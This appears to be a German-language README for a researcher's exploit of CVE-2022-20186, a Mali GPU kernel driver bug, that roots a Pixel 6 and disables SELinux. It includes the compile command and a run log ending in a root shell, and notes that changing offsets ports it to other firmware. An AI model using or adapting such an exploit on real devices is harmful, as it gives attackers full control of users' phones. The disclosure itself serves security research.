
Exploit für CVE-2022-20186, der auf die Speicherkorruption des Arm Mali-Kernel-Treibers unter Android abzielt. Erlangt beliebige Kernel-Codeausführung, deaktiviert SELinux und eskaliert zu Root auf Pixel 6 mit Unterstützung für mehrere Firmware-Versionen.
Der Write-up ist hier zu finden. Es handelt sich um einen Fehler im Arm-Mali-Kernel-Treiber, den ich im Januar 2022 gemeldet habe. Der Fehler kann genutzt werden, um aus der unsicheren App-Domäne (untrusted app domain) eine beliebige Kernel-Codeausführung zu erlangen, mit der dann SELinux deaktiviert und Root-Rechte erlangt werden.
Der Exploit wurde auf dem Google Pixel 6 getestet und unterstützt Patch-Level von November 2021 bis Februar 2022. Es ist einfach, durch Ändern einiger Image-Offsets Unterstützung für andere Firmware-Versionen hinzuzufügen. Als Referenz habe ich den folgenden Befehl verwendet, um mit clang in ndk-21 zu kompilieren:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang mali_alias.c -o mali_alias
Der Exploit schlägt selten fehl und kann ohne Absturz des Geräts wiederholt werden. Im Erfolgsfall sollte er SELinux deaktivieren und Root-Rechte gewähren.
oriole:/ $ /data/local/tmp/mali_alias
fingerprint: google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys
tracking page 0x6ff794e000
drain 0x6d5b200000
gpu_va[0] 6ff6698000
gpu_va[1] 6ff6695000
alias 0x6ff6693000
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
oriole:/ #